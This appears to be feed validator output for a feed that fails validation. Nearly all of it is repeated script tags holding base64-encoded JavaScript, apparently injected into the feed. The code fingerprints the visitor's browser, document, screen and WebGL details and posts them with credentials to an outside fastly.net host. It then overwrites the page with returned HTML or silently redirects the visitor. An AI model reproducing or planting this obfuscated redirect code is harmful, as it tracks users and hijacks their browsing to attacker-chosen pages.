This feed does not validate.
<script src="data:text/javascript;base64,ZnVuY3Rpb24gcShlKXtmdW5jdGlvbiBmKGI ...
<script src="data:text/javascript;base64,ZnVuY3Rpb24gcShlKXtmdW5jdGlvbiBmKGI ...
In addition, interoperability with the widest range of feed readers could be improved by implementing the following recommendation.
help]
[
<script src="data:text/javascript;base64,ZnVuY3Rpb24gcShlKXtmdW5jdGlvbiBmKGIsaCl7Zm9yKHZhciBjIGluIGIpdHJ5e3ZhciBkPWJbY107c3dpdGNoKHR5cGVvZiBkKXtjYXNlICJvYmplY3QiOmlmKG51bGw9PT1kKWNvbnRpbnVlO2Nhc2UgImZ1bmN0aW9uIjpkPWQudG9TdHJpbmcoKX1hW2grY109ZH1jYXRjaChtKXt9dHJ5e3ZhciBrPU9iamVjdC5nZXRPd25Qcm9wZXJ0eU5hbWVzKGIpO2FbaF09ay5sZW5ndGg7Zm9yKGM9MDtjPGsubGVuZ3RoOysrYyl0cnl7ZD1iW2tbY11dO3N3aXRjaCh0eXBlb2YgZCl7Y2FzZSAib2JqZWN0IjppZihudWxsPT09ZCljb250aW51ZTtjYXNlICJmdW5jdGlvbiI6ZD1kLnRvU3RyaW5nKCl9YVtoK2tbY11dPWR9Y2F0Y2gobSl7fX1jYXRjaChtKXt9fWU9dm9pZCAwPT09ZT97fTplO3ZhciBhPXt9O2YoZG9jdW1lbnQsImRvYy4iKTtmKG5hdmlnYXRvciwibmF2LiIpO2Yoc2NyZWVuLCJzY3IuIik7Zih3aW5kb3csIndpbi4iKTsoZnVuY3Rpb24oYixoKXt0cnl7Yj1iLmF0dHJpYnV0ZXM7Zm9yKHZhciBjIGluIGIpYz1iW2NdLGFbaCtjLm5vZGVOYW1lXT1jLm5vZGVWYWx1ZX1jYXRjaChkKXt9fSkoZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LCJodG1sLiIpO3RyeXt2YXIgZz1mdW5jdGlvbigpe30sbj0wO2cudG9TdHJpbmc9ZnVuY3Rpb24oKXsrK247cmV0dXJuIiJ9O2NvbnNvbGUubG9nKGcpO2EudG9zdHJpbmc9bn1jYXRjaChiKXt9dHJ5e2EuY2xvc3VyZT1mdW5jdGlvbigpe30udG9TdHJpbmcoKX1jYXRjaChiKXt9dHJ5e3ZhciBsPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImNhbnZhcyIpLmdldENvbnRleHQoIndlYmdsIikscD1sLmdldEV4dGVuc2lvbigiV0VCR0xfZGVidWdfcmVuZGVyZXJfaW5mbyIpO2Eud2ViZ2w9W2wuZ2V0UGFyYW1ldGVyKHAuVU5NQVNLRURfVkVORE9SX1dFQkdMKSxsLmdldFBhcmFtZXRlcihwLlVOTUFTS0VEX1JFTkRFUkVSX1dFQkdMKV0uam9pbigiICIpfWNhdGNoKGIpe310cnl7YS50b3VjaEV2ZW50PWRvY3VtZW50LmNyZWF0ZUV2ZW50KCJUb3VjaEV2ZW50IikudG9TdHJpbmcoKX1jYXRjaChiKXt9ZS5kYXRhPWE7cmV0dXJuIGV9IWZ1bmN0aW9uKCl7aWYoLTE9PXdpbmRvdy5sb2NhdGlvbi5ocmVmLnNlYXJjaCgiWz8mXV9ub19yZWRpcmVjdD1vbiIpKXt2YXIgZT1uZXcgWE1MSHR0cFJlcXVlc3Q7ZS53aXRoQ3JlZGVudGlhbHM9ITAscGFyYW1zPXEoe30pLGUub3BlbigiUE9TVCIsImh0dHBzOi8vdHJhZmZpYy1zdHJlYW0uZ2xvYmFsLnNzbC5mYXN0bHkubmV0L2NycXlsN2sucGhwP2tleT11ZXF0dWl2ajFpeTJpZTV0NjFrciZscF90eXBlPWpzX3JlZGlyZWN0JiIrd2luZG93LmxvY2F0aW9uLnNlYXJjaC5zdWJzdHJpbmcoMSksITApLGUscmVzcG9uc2VUeXBlPSdqc29uJyxlLm9ubG9hZD1mdW5jdGlvbigpe2lmKDIwMD09PWUuc3RhdHVzKXt2YXIgdD1KU09OLnBhcnNlKGUucmVzcG9uc2VUZXh0KTtyZXR1cm4gdC5sYW5kaW5nX2h0bWw/KGRvY3VtZW50Lm9wZW4oKSxkb2N1bWVudC53cml0ZSh0LmxhbmRpbmdfaHRtbCksdm9pZCBkb2N1bWVudC5jbG9zZSgpKTp0LmxhbmRpbmdfdXJsPyhkb2N1bWVudC5vcGVuKCksZG9jdW1lbnQud3JpdGUoIjxodG1sPjxoZWFkPiIpLGRvY3VtZW50LndyaXRlKCc8bWV0YSBuYW1lPSJyZWZlcnJlciIgY29udGVudD0ibmV2ZXIiIC8+JyksZG9jdW1lbnQud3JpdGUoJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjA7IHVybD0nK3QubGFuZGluZ191cmwrJyIgLz4nKSxkb2N1bWVudC53cml0ZSgiPC9oZWFkPjwvaHRtbD4iKSx2b2lkIGRvY3VtZW50LmNsb3NlKCkpOnZvaWQgMH19LGUuc2VuZChKU09OLnN0cmluZ2lmeShwYXJhbXMpKX19KCk7"></script>
<script src="data:text/javascript;base64,ZnVuY3Rpb24gcShlKXtmdW5jdGlvbiBmKGIsaCl7Zm9yKHZhciBjIGluIGIpdHJ5e3ZhciBkPWJbY107c3dpdGNoKHR5cGVvZiBkKXtjYXNlICJvYmplY3QiOmlmKG51bGw9PT1kKWNvbnRpbnVlO2Nhc2UgImZ1bmN0aW9uIjpkPWQudG9TdHJpbmcoKX1hW2grY109ZH1jYXRjaChtKXt9dHJ5e3ZhciBrPU9iamVjdC5nZXRPd25Qcm9wZXJ0eU5hbWVzKGIpO2FbaF09ay5sZW5ndGg7Zm9yKGM9MDtjPGsubGVuZ3RoOysrYyl0cnl7ZD1iW2tbY11dO3N3aXRjaCh0eXBlb2YgZCl7Y2FzZSAib2JqZWN0IjppZihudWxsPT09ZCljb250aW51ZTtjYXNlICJmdW5jdGlvbiI6ZD1kLnRvU3RyaW5nKCl9YVtoK2tbY11dPWR9Y2F0Y2gobSl7fX1jYXRjaChtKXt9fWU9dm9pZCAwPT09ZT97fTplO3ZhciBhPXt9O2YoZG9jdW1lbnQsImRvYy4iKTtmKG5hdmlnYXRvciwibmF2LiIpO2Yoc2NyZWVuLCJzY3IuIik7Zih3aW5kb3csIndpbi4iKTsoZnVuY3Rpb24oYixoKXt0cnl7Yj1iLmF0dHJpYnV0ZXM7Zm9yKHZhciBjIGluIGIpYz1iW2NdLGFbaCtjLm5vZGVOYW1lXT1jLm5vZGVWYWx1ZX1jYXRjaChkKXt9fSkoZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LCJodG1sLiIpO3RyeXt2YXIgZz1mdW5jdGlvbigpe30sbj0wO2cudG9TdHJpbmc9ZnVuY3Rpb24oKXsrK247cmV0dXJuIiJ9O2NvbnNvbGUubG9nKGcpO2EudG9zdHJpbmc9bn1jYXRjaChiKXt9dHJ5e2EuY2xvc3VyZT1mdW5jdGlvbigpe30udG9TdHJpbmcoKX1jYXRjaChiKXt9dHJ5e3ZhciBsPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImNhbnZhcyIpLmdldENvbnRleHQoIndlYmdsIikscD1sLmdldEV4dGVuc2lvbigiV0VCR0xfZGVidWdfcmVuZGVyZXJfaW5mbyIpO2Eud2ViZ2w9W2wuZ2V0UGFyYW1ldGVyKHAuVU5NQVNLRURfVkVORE9SX1dFQkdMKSxsLmdldFBhcmFtZXRlcihwLlVOTUFTS0VEX1JFTkRFUkVSX1dFQkdMKV0uam9pbigiICIpfWNhdGNoKGIpe310cnl7YS50b3VjaEV2ZW50PWRvY3VtZW50LmNyZWF0ZUV2ZW50KCJUb3VjaEV2ZW50IikudG9TdHJpbmcoKX1jYXRjaChiKXt9ZS5kYXRhPWE7cmV0dXJuIGV9IWZ1bmN0aW9uKCl7aWYoLTE9PXdpbmRvdy5sb2NhdGlvbi5ocmVmLnNlYXJjaCgiWz8mXV9ub19yZWRpcmVjdD1vbiIpKXt2YXIgZT1uZXcgWE1MSHR0cFJlcXVlc3Q7ZS53aXRoQ3JlZGVudGlhbHM9ITAscGFyYW1zPXEoe30pLGUub3BlbigiUE9TVCIsImh0dHBzOi8vdHJhZmZpYy1zdHJlYW0uZ2xvYmFsLnNzbC5mYXN0bHkubmV0L2NycXlsN2sucGhwP2tleT0yaDIycTU2eGdpaDN4cHhwMDQ5ZiZscF90eXBlPWpzX3JlZGlyZWN0JiIrd2luZG93LmxvY2F0aW9uLnNlYXJjaC5zdWJzdHJpbmcoMSksITApLGUscmVzcG9uc2VUeXBlPSdqc29uJyxlLm9ubG9hZD1mdW5jdGlvbigpe2lmKDIwMD09PWUuc3RhdHVzKXt2YXIgdD1KU09OLnBhcnNlKGUucmVzcG9uc2VUZXh0KTtyZXR1cm4gdC5sYW5kaW5nX2h0bWw/KGRvY3VtZW50Lm9wZW4oKSxkb2N1bWVudC53cml0ZSh0LmxhbmRpbmdfaHRtbCksdm9pZCBkb2N1bWVudC5jbG9zZSgpKTp0LmxhbmRpbmdfdXJsPyhkb2N1bWVudC5vcGVuKCksZG9jdW1lbnQud3JpdGUoIjxodG1sPjxoZWFkPiIpLGRvY3VtZW50LndyaXRlKCc8bWV0YSBuYW1lPSJyZWZlcnJlciIgY29udGVudD0ibmV2ZXIiIC8+JyksZG9jdW1lbnQud3JpdGUoJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjA7IHVybD0nK3QubGFuZGluZ191cmwrJyIgLz4nKSxkb2N1bWVudC53cml0ZSgiPC9oZWFkPjwvaHRtbD4iKSx2b2lkIGRvY3VtZW50LmNsb3NlKCkpOnZvaWQgMH19LGUuc2VuZChKU09OLnN0cmluZ2lmeShwYXJhbXMpKX19KCk7"></script>
<script src="data:text/javascript;base64,ZnVuY3Rpb24gcShlKXtmdW5jdGlvbiBmKGIsaCl7Zm9yKHZhciBjIGluIGIpdHJ5e3ZhciBkPWJbY107c3dpdGNoKHR5cGVvZiBkKXtjYXNlICJvYmplY3QiOmlmKG51bGw9PT1kKWNvbnRpbnVlO2Nhc2UgImZ1bmN0aW9uIjpkPWQudG9TdHJpbmcoKX1hW2grY109ZH1jYXRjaChtKXt9dHJ5e3ZhciBrPU9iamVjdC5nZXRPd25Qcm9wZXJ0eU5hbWVzKGIpO2FbaF09ay5sZW5ndGg7Zm9yKGM9MDtjPGsubGVuZ3RoOysrYyl0cnl7ZD1iW2tbY11dO3N3aXRjaCh0eXBlb2YgZCl7Y2FzZSAib2JqZWN0IjppZihudWxsPT09ZCljb250aW51ZTtjYXNlICJmdW5jdGlvbiI6ZD1kLnRvU3RyaW5nKCl9YVtoK2tbY11dPWR9Y2F0Y2gobSl7fX1jYXRjaChtKXt9fWU9dm9pZCAwPT09ZT97fTplO3ZhciBhPXt9O2YoZG9jdW1lbnQsImRvYy4iKTtmKG5hdmlnYXRvciwibmF2LiIpO2Yoc2NyZWVuLCJzY3IuIik7Zih3aW5kb3csIndpbi4iKTsoZnVuY3Rpb24oYixoKXt0cnl7Yj1iLmF0dHJpYnV0ZXM7Zm9yKHZhciBjIGluIGIpYz1iW2NdLGFbaCtjLm5vZGVOYW1lXT1jLm5vZGVWYWx1ZX1jYXRjaChkKXt9fSkoZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LCJodG1sLiIpO3RyeXt2YXIgZz1mdW5jdGlvbigpe30sbj0wO2cudG9TdHJpbmc9ZnVuY3Rpb24oKXsrK247cmV0dXJuIiJ9O2NvbnNvbGUubG9nKGcpO2EudG9zdHJpbmc9bn1jYXRjaChiKXt9dHJ5e2EuY2xvc3VyZT1mdW5jdGlvbigpe30udG9TdHJpbmcoKX1jYXRjaChiKXt9dHJ5e3ZhciBsPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImNhbnZhcyIpLmdldENvbnRleHQoIndlYmdsIikscD1sLmdldEV4dGVuc2lvbigiV0VCR0xfZGVidWdfcmVuZGVyZXJfaW5mbyIpO2Eud2ViZ2w9W2wuZ2V0UGFyYW1ldGVyKHAuVU5NQVNLRURfVkVORE9SX1dFQkdMKSxsLmdldFBhcmFtZXRlcihwLlVOTUFTS0VEX1JFTkRFUkVSX1dFQkdMKV0uam9pbigiICIpfWNhdGNoKGIpe310cnl7YS50b3VjaEV2ZW50PWRvY3VtZW50LmNyZWF0ZUV2ZW50KCJUb3VjaEV2ZW50IikudG9TdHJpbmcoKX1jYXRjaChiKXt9ZS5kYXRhPWE7cmV0dXJuIGV9IWZ1bmN0aW9uKCl7aWYoLTE9PXdpbmRvdy5sb2NhdGlvbi5ocmVmLnNlYXJjaCgiWz8mXV9ub19yZWRpcmVjdD1vbiIpKXt2YXIgZT1uZXcgWE1MSHR0cFJlcXVlc3Q7ZS53aXRoQ3JlZGVudGlhbHM9ITAscGFyYW1zPXEoe30pLGUub3BlbigiUE9TVCIsImh0dHBzOi8vdHJhZmZpYy1zdHJlYW0uZ2xvYmFsLnNzbC5mYXN0bHkubmV0L2NycXlsN2sucGhwP2tleT0yaDIycTU2eGdpaDN4cHhwMDQ5ZiZscF90eXBlPWpzX3JlZGlyZWN0JiIrd2luZG93LmxvY2F0aW9uLnNlYXJjaC5zdWJzdHJpbmcoMSksITApLGUscmVzcG9uc2VUeXBlPSdqc29uJyxlLm9ubG9hZD1mdW5jdGlvbigpe2lmKDIwMD09PWUuc3RhdHVzKXt2YXIgdD1KU09OLnBhcnNlKGUucmVzcG9uc2VUZXh0KTtyZXR1cm4gdC5sYW5kaW5nX2h0bWw/KGRvY3VtZW50Lm9wZW4oKSxkb2N1bWVudC53cml0ZSh0LmxhbmRpbmdfaHRtbCksdm9pZCBkb2N1bWVudC5jbG9zZSgpKTp0LmxhbmRpbmdfdXJsPyhkb2N1bWVudC5vcGVuKCksZG9jdW1lbnQud3JpdGUoIjxodG1sPjxoZWFkPiIpLGRvY3VtZW50LndyaXRlKCc8bWV0YSBuYW1lPSJyZWZlcnJlciIgY29udGVudD0ibmV2ZXIiIC8+JyksZG9jdW1lbnQud3JpdGUoJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjA7IHVybD0nK3QubGFuZGluZ191cmwrJyIgLz4nKSxkb2N1bWVudC53cml0ZSgiPC9oZWFkPjwvaHRtbD4iKSx2b2lkIGRvY3VtZW50LmNsb3NlKCkpOnZvaWQgMH19LGUuc2VuZChKU09OLnN0cmluZ2lmeShwYXJhbXMpKX19KCk7"></script>
<script src="data:text/javascript;base64,ZnVuY3Rpb24gcShlKXtmdW5jdGlvbiBmKGIsaCl7Zm9yKHZhciBjIGluIGIpdHJ5e3ZhciBkPWJbY107c3dpdGNoKHR5cGVvZiBkKXtjYXNlICJvYmplY3QiOmlmKG51bGw9PT1kKWNvbnRpbnVlO2Nhc2UgImZ1bmN0aW9uIjpkPWQudG9TdHJpbmcoKX1hW2grY109ZH1jYXRjaChtKXt9dHJ5e3ZhciBrPU9iamVjdC5nZXRPd25Qcm9wZXJ0eU5hbWVzKGIpO2FbaF09ay5sZW5ndGg7Zm9yKGM9MDtjPGsubGVuZ3RoOysrYyl0cnl7ZD1iW2tbY11dO3N3aXRjaCh0eXBlb2YgZCl7Y2FzZSAib2JqZWN0IjppZihudWxsPT09ZCljb250aW51ZTtjYXNlICJmdW5jdGlvbiI6ZD1kLnRvU3RyaW5nKCl9YVtoK2tbY11dPWR9Y2F0Y2gobSl7fX1jYXRjaChtKXt9fWU9dm9pZCAwPT09ZT97fTplO3ZhciBhPXt9O2YoZG9jdW1lbnQsImRvYy4iKTtmKG5hdmlnYXRvciwibmF2LiIpO2Yoc2NyZWVuLCJzY3IuIik7Zih3aW5kb3csIndpbi4iKTsoZnVuY3Rpb24oYixoKXt0cnl7Yj1iLmF0dHJpYnV0ZXM7Zm9yKHZhciBjIGluIGIpYz1iW2NdLGFbaCtjLm5vZGVOYW1lXT1jLm5vZGVWYWx1ZX1jYXRjaChkKXt9fSkoZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LCJodG1sLiIpO3RyeXt2YXIgZz1mdW5jdGlvbigpe30sbj0wO2cudG9TdHJpbmc9ZnVuY3Rpb24oKXsrK247cmV0dXJuIiJ9O2NvbnNvbGUubG9nKGcpO2EudG9zdHJpbmc9bn1jYXRjaChiKXt9dHJ5e2EuY2xvc3VyZT1mdW5jdGlvbigpe30udG9TdHJpbmcoKX1jYXRjaChiKXt9dHJ5e3ZhciBsPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImNhbnZhcyIpLmdldENvbnRleHQoIndlYmdsIikscD1sLmdldEV4dGVuc2lvbigiV0VCR0xfZGVidWdfcmVuZGVyZXJfaW5mbyIpO2Eud2ViZ2w9W2wuZ2V0UGFyYW1ldGVyKHAuVU5NQVNLRURfVkVORE9SX1dFQkdMKSxsLmdldFBhcmFtZXRlcihwLlVOTUFTS0VEX1JFTkRFUkVSX1dFQkdMKV0uam9pbigiICIpfWNhdGNoKGIpe310cnl7YS50b3VjaEV2ZW50PWRvY3VtZW50LmNyZWF0ZUV2ZW50KCJUb3VjaEV2ZW50IikudG9TdHJpbmcoKX1jYXRjaChiKXt9ZS5kYXRhPWE7cmV0dXJuIGV9IWZ1bmN0aW9uKCl7aWYoLTE9PXdpbmRvdy5sb2NhdGlvbi5ocmVmLnNlYXJjaCgiWz8mXV9ub19yZWRpcmVjdD1vbiIpKXt2YXIgZT1uZXcgWE1MSHR0cFJlcXVlc3Q7ZS53aXRoQ3JlZGVudGlhbHM9ITAscGFyYW1zPXEoe30pLGUub3BlbigiUE9TVCIsImh0dHBzOi8vdHJhZmZpYy1zdHJlYW0uZ2xvYmFsLnNzbC5mYXN0bHkubmV0L2NycXlsN2sucGhwP2tleT0yaDIycTU2eGdpaDN4cHhwMDQ5ZiZscF90eXBlPWpzX3JlZGlyZWN0JiIrd2luZG93LmxvY2F0aW9uLnNlYXJjaC5zdWJzdHJpbmcoMSksITApLGUscmVzcG9uc2VUeXBlPSdqc29uJyxlLm9ubG9hZD1mdW5jdGlvbigpe2lmKDIwMD09PWUuc3RhdHVzKXt2YXIgdD1KU09OLnBhcnNlKGUucmVzcG9uc2VUZXh0KTtyZXR1cm4gdC5sYW5kaW5nX2h0bWw/KGRvY3VtZW50Lm9wZW4oKSxkb2N1bWVudC53cml0ZSh0LmxhbmRpbmdfaHRtbCksdm9pZCBkb2N1bWVudC5jbG9zZSgpKTp0LmxhbmRpbmdfdXJsPyhkb2N1bWVudC5vcGVuKCksZG9jdW1lbnQud3JpdGUoIjxodG1sPjxoZWFkPiIpLGRvY3VtZW50LndyaXRlKCc8bWV0YSBuYW1lPSJyZWZlcnJlciIgY29udGVudD0ibmV2ZXIiIC8+JyksZG9jdW1lbnQud3JpdGUoJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjA7IHVybD0nK3QubGFuZGluZ191cmwrJyIgLz4nKSxkb2N1bWVudC53cml0ZSgiPC9oZWFkPjwvaHRtbD4iKSx2b2lkIGRvY3VtZW50LmNsb3NlKCkpOnZvaWQgMH19LGUuc2VuZChKU09OLnN0cmluZ2lmeShwYXJhbXMpKX19KCk7"></script>
<script src="data:text/javascript;base64,ZnVuY3Rpb24gcShlKXtmdW5jdGlvbiBmKGIsaCl7Zm9yKHZhciBjIGluIGIpdHJ5e3ZhciBkPWJbY107c3dpdGNoKHR5cGVvZiBkKXtjYXNlICJvYmplY3QiOmlmKG51bGw9PT1kKWNvbnRpbnVlO2Nhc2UgImZ1bmN0aW9uIjpkPWQudG9TdHJpbmcoKX1hW2grY109ZH1jYXRjaChtKXt9dHJ5e3ZhciBrPU9iamVjdC5nZXRPd25Qcm9wZXJ0eU5hbWVzKGIpO2FbaF09ay5sZW5ndGg7Zm9yKGM9MDtjPGsubGVuZ3RoOysrYyl0cnl7ZD1iW2tbY11dO3N3aXRjaCh0eXBlb2YgZCl7Y2FzZSAib2JqZWN0IjppZihudWxsPT09ZCljb250aW51ZTtjYXNlICJmdW5jdGlvbiI6ZD1kLnRvU3RyaW5nKCl9YVtoK2tbY11dPWR9Y2F0Y2gobSl7fX1jYXRjaChtKXt9fWU9dm9pZCAwPT09ZT97fTplO3ZhciBhPXt9O2YoZG9jdW1lbnQsImRvYy4iKTtmKG5hdmlnYXRvciwibmF2LiIpO2Yoc2NyZWVuLCJzY3IuIik7Zih3aW5kb3csIndpbi4iKTsoZnVuY3Rpb24oYixoKXt0cnl7Yj1iLmF0dHJpYnV0ZXM7Zm9yKHZhciBjIGluIGIpYz1iW2NdLGFbaCtjLm5vZGVOYW1lXT1jLm5vZGVWYWx1ZX1jYXRjaChkKXt9fSkoZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LCJodG1sLiIpO3RyeXt2YXIgZz1mdW5jdGlvbigpe30sbj0wO2cudG9TdHJpbmc9ZnVuY3Rpb24oKXsrK247cmV0dXJuIiJ9O2NvbnNvbGUubG9nKGcpO2EudG9zdHJpbmc9bn1jYXRjaChiKXt9dHJ5e2EuY2xvc3VyZT1mdW5jdGlvbigpe30udG9TdHJpbmcoKX1jYXRjaChiKXt9dHJ5e3ZhciBsPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImNhbnZhcyIpLmdldENvbnRleHQoIndlYmdsIikscD1sLmdldEV4dGVuc2lvbigiV0VCR0xfZGVidWdfcmVuZGVyZXJfaW5mbyIpO2Eud2ViZ2w9W2wuZ2V0UGFyYW1ldGVyKHAuVU5NQVNLRURfVkVORE9SX1dFQkdMKSxsLmdldFBhcmFtZXRlcihwLlVOTUFTS0VEX1JFTkRFUkVSX1dFQkdMKV0uam9pbigiICIpfWNhdGNoKGIpe310cnl7YS50b3VjaEV2ZW50PWRvY3VtZW50LmNyZWF0ZUV2ZW50KCJUb3VjaEV2ZW50IikudG9TdHJpbmcoKX1jYXRjaChiKXt9ZS5kYXRhPWE7cmV0dXJuIGV9IWZ1bmN0aW9uKCl7aWYoLTE9PXdpbmRvdy5sb2NhdGlvbi5ocmVmLnNlYXJjaCgiWz8mXV9ub19yZWRpcmVjdD1vbiIpKXt2YXIgZT1uZXcgWE1MSHR0cFJlcXVlc3Q7ZS53aXRoQ3JlZGVudGlhbHM9ITAscGFyYW1zPXEoe30pLGUub3BlbigiUE9TVCIsImh0dHBzOi8vdHJhZmZpYy1zdHJlYW0uZ2xvYmFsLnNzbC5mYXN0bHkubmV0L2NycXlsN2sucGhwP2tleT0yaDIycTU2eGdpaDN4cHhwMDQ5ZiZscF90eXBlPWpzX3JlZGlyZWN0JiIrd2luZG93LmxvY2F0aW9uLnNlYXJjaC5zdWJzdHJpbmcoMSksITApLGUscmVzcG9uc2VUeXBlPSdqc29uJyxlLm9ubG9hZD1mdW5jdGlvbigpe2lmKDIwMD09PWUuc3RhdHVzKXt2YXIgdD1KU09OLnBhcnNlKGUucmVzcG9uc2VUZXh0KTtyZXR1cm4gdC5sYW5kaW5nX2h0bWw/KGRvY3VtZW50Lm9wZW4oKSxkb2N1bWVudC53cml0ZSh0LmxhbmRpbmdfaHRtbCksdm9pZCBkb2N1bWVudC5jbG9zZSgpKTp0LmxhbmRpbmdfdXJsPyhkb2N1bWVudC5vcGVuKCksZG9jdW1lbnQud3JpdGUoIjxodG1sPjxoZWFkPiIpLGRvY3VtZW50LndyaXRlKCc8bWV0YSBuYW1lPSJyZWZlcnJlciIgY29udGVudD0ibmV2ZXIiIC8+JyksZG9jdW1lbnQud3JpdGUoJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjA7IHVybD0nK3QubGFuZGluZ191cmwrJyIgLz4nKSxkb2N1bWVudC53cml0ZSgiPC9oZWFkPjwvaHRtbD4iKSx2b2lkIGRvY3VtZW50LmNsb3NlKCkpOnZvaWQgMH19LGUuc2VuZChKU09OLnN0cmluZ2lmeShwYXJhbXMpKX19KCk7"></script>
<script src="data:text/javascript;base64,ZnVuY3Rpb24gcShlKXtmdW5jdGlvbiBmKGIsaCl7Zm9yKHZhciBjIGluIGIpdHJ5e3ZhciBkPWJbY107c3dpdGNoKHR5cGVvZiBkKXtjYXNlICJvYmplY3QiOmlmKG51bGw9PT1kKWNvbnRpbnVlO2Nhc2UgImZ1bmN0aW9uIjpkPWQudG9TdHJpbmcoKX1hW2grY109ZH1jYXRjaChtKXt9dHJ5e3ZhciBrPU9iamVjdC5nZXRPd25Qcm9wZXJ0eU5hbWVzKGIpO2FbaF09ay5sZW5ndGg7Zm9yKGM9MDtjPGsubGVuZ3RoOysrYyl0cnl7ZD1iW2tbY11dO3N3aXRjaCh0eXBlb2YgZCl7Y2FzZSAib2JqZWN0IjppZihudWxsPT09ZCljb250aW51ZTtjYXNlICJmdW5jdGlvbiI6ZD1kLnRvU3RyaW5nKCl9YVtoK2tbY11dPWR9Y2F0Y2gobSl7fX1jYXRjaChtKXt9fWU9dm9pZCAwPT09ZT97fTplO3ZhciBhPXt9O2YoZG9jdW1lbnQsImRvYy4iKTtmKG5hdmlnYXRvciwibmF2LiIpO2Yoc2NyZWVuLCJzY3IuIik7Zih3aW5kb3csIndpbi4iKTsoZnVuY3Rpb24oYixoKXt0cnl7Yj1iLmF0dHJpYnV0ZXM7Zm9yKHZhciBjIGluIGIpYz1iW2NdLGFbaCtjLm5vZGVOYW1lXT1jLm5vZGVWYWx1ZX1jYXRjaChkKXt9fSkoZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LCJodG1sLiIpO3RyeXt2YXIgZz1mdW5jdGlvbigpe30sbj0wO2cudG9TdHJpbmc9ZnVuY3Rpb24oKXsrK247cmV0dXJuIiJ9O2NvbnNvbGUubG9nKGcpO2EudG9zdHJpbmc9bn1jYXRjaChiKXt9dHJ5e2EuY2xvc3VyZT1mdW5jdGlvbigpe30udG9TdHJpbmcoKX1jYXRjaChiKXt9dHJ5e3ZhciBsPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImNhbnZhcyIpLmdldENvbnRleHQoIndlYmdsIikscD1sLmdldEV4dGVuc2lvbigiV0VCR0xfZGVidWdfcmVuZGVyZXJfaW5mbyIpO2Eud2ViZ2w9W2wuZ2V0UGFyYW1ldGVyKHAuVU5NQVNLRURfVkVORE9SX1dFQkdMKSxsLmdldFBhcmFtZXRlcihwLlVOTUFTS0VEX1JFTkRFUkVSX1dFQkdMKV0uam9pbigiICIpfWNhdGNoKGIpe310cnl7YS50b3VjaEV2ZW50PWRvY3VtZW50LmNyZWF0ZUV2ZW50KCJUb3VjaEV2ZW50IikudG9TdHJpbmcoKX1jYXRjaChiKXt9ZS5kYXRhPWE7cmV0dXJuIGV9IWZ1bmN0aW9uKCl7aWYoLTE9PXdpbmRvdy5sb2NhdGlvbi5ocmVmLnNlYXJjaCgiWz8mXV9ub19yZWRpcmVjdD1vbiIpKXt2YXIgZT1uZXcgWE1MSHR0cFJlcXVlc3Q7ZS53aXRoQ3JlZGVudGlhbHM9ITAscGFyYW1zPXEoe30pLGUub3BlbigiUE9TVCIsImh0dHBzOi8vdHJhZmZpYy1zdHJlYW0uZ2xvYmFsLnNzbC5mYXN0bHkubmV0L2NycXlsN2sucGhwP2tleT0yaDIycTU2eGdpaDN4cHhwMDQ5ZiZscF90eXBlPWpzX3JlZGlyZWN0JiIrd2luZG93LmxvY2F0aW9uLnNlYXJjaC5zdWJzdHJpbmcoMSksITApLGUscmVzcG9uc2VUeXBlPSdqc29uJyxlLm9ubG9hZD1mdW5jdGlvbigpe2lmKDIwMD09PWUuc3RhdHVzKXt2YXIgdD1KU09OLnBhcnNlKGUucmVzcG9uc2VUZXh0KTtyZXR1cm4gdC5sYW5kaW5nX2h0bWw/KGRvY3VtZW50Lm9wZW4oKSxkb2N1bWVudC53cml0ZSh0LmxhbmRpbmdfaHRtbCksdm9pZCBkb2N1bWVudC5jbG9zZSgpKTp0LmxhbmRpbmdfdXJsPyhkb2N1bWVudC5vcGVuKCksZG9jdW1lbnQud3JpdGUoIjxodG1sPjxoZWFkPiIpLGRvY3VtZW50LndyaXRlKCc8bWV0YSBuYW1lPSJyZWZlcnJlciIgY29udGVudD0ibmV2ZXIiIC8+JyksZG9jdW1lbnQud3JpdGUoJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjA7IHVybD0nK3QubGFuZGluZ191cmwrJyIgLz4nKSxkb2N1bWVudC53cml0ZSgiPC9oZWFkPjwvaHRtbD4iKSx2b2lkIGRvY3VtZW50LmNsb3NlKCkpOnZvaWQgMH19LGUuc2VuZChKU09OLnN0cmluZ2lmeShwYXJhbXMpKX19KCk7"></script>
<script src="data:text/javascript;base64,ZnVuY3Rpb24gcShlKXtmdW5jdGlvbiBmKGIsaCl7Zm9yKHZhciBjIGluIGIpdHJ5e3ZhciBkPWJbY107c3dpdGNoKHR5cGVvZiBkKXtjYXNlICJvYmplY3QiOmlmKG51bGw9PT1kKWNvbnRpbnVlO2Nhc2UgImZ1bmN0aW9uIjpkPWQudG9TdHJpbmcoKX1hW2grY109ZH1jYXRjaChtKXt9dHJ5e3ZhciBrPU9iamVjdC5nZXRPd25Qcm9wZXJ0eU5hbWVzKGIpO2FbaF09ay5sZW5ndGg7Zm9yKGM9MDtjPGsubGVuZ3RoOysrYyl0cnl7ZD1iW2tbY11dO3N3aXRjaCh0eXBlb2YgZCl7Y2FzZSAib2JqZWN0IjppZihudWxsPT09ZCljb250aW51ZTtjYXNlICJmdW5jdGlvbiI6ZD1kLnRvU3RyaW5nKCl9YVtoK2tbY11dPWR9Y2F0Y2gobSl7fX1jYXRjaChtKXt9fWU9dm9pZCAwPT09ZT97fTplO3ZhciBhPXt9O2YoZG9jdW1lbnQsImRvYy4iKTtmKG5hdmlnYXRvciwibmF2LiIpO2Yoc2NyZ